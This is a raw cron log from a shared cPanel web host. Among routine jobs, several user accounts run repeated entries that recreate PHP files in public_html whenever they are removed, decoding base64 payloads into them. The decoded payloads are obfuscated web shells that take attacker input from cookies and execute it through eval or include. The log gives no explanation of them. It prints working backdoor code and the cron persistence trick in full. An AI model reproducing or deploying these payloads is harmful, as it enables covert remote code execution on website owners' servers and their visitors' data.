Jun  7 12:11:01 medusa CROND[29325]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:11:01 medusa CROND[29326]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:11:01 medusa CROND[29322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:11:01 medusa CROND[29332]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:11:01 medusa CROND[29327]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:11:01 medusa CROND[29335]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:11:01 medusa CROND[29338]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:12:01 medusa CROND[31016]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 12:12:01 medusa CROND[31015]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:12:01 medusa CROND[31017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:12:01 medusa CROND[31018]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:12:01 medusa CROND[31019]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:12:01 medusa CROND[31020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:12:01 medusa CROND[31021]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:12:01 medusa CROND[31022]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:12:01 medusa CROND[31024]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:12:01 medusa CROND[31026]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:12:01 medusa CROND[31029]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:12:01 medusa CROND[31032]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:12:01 medusa CROND[31036]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:12:01 medusa CROND[31039]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:12:01 medusa CROND[31031]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:13:01 medusa CROND[32640]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:13:01 medusa CROND[32641]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:13:01 medusa CROND[32642]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:13:01 medusa CROND[32643]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:13:01 medusa CROND[32644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:13:01 medusa CROND[32645]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 12:13:01 medusa CROND[32647]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:13:01 medusa CROND[32650]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:13:01 medusa CROND[32651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:13:01 medusa CROND[32649]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:13:01 medusa CROND[32654]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
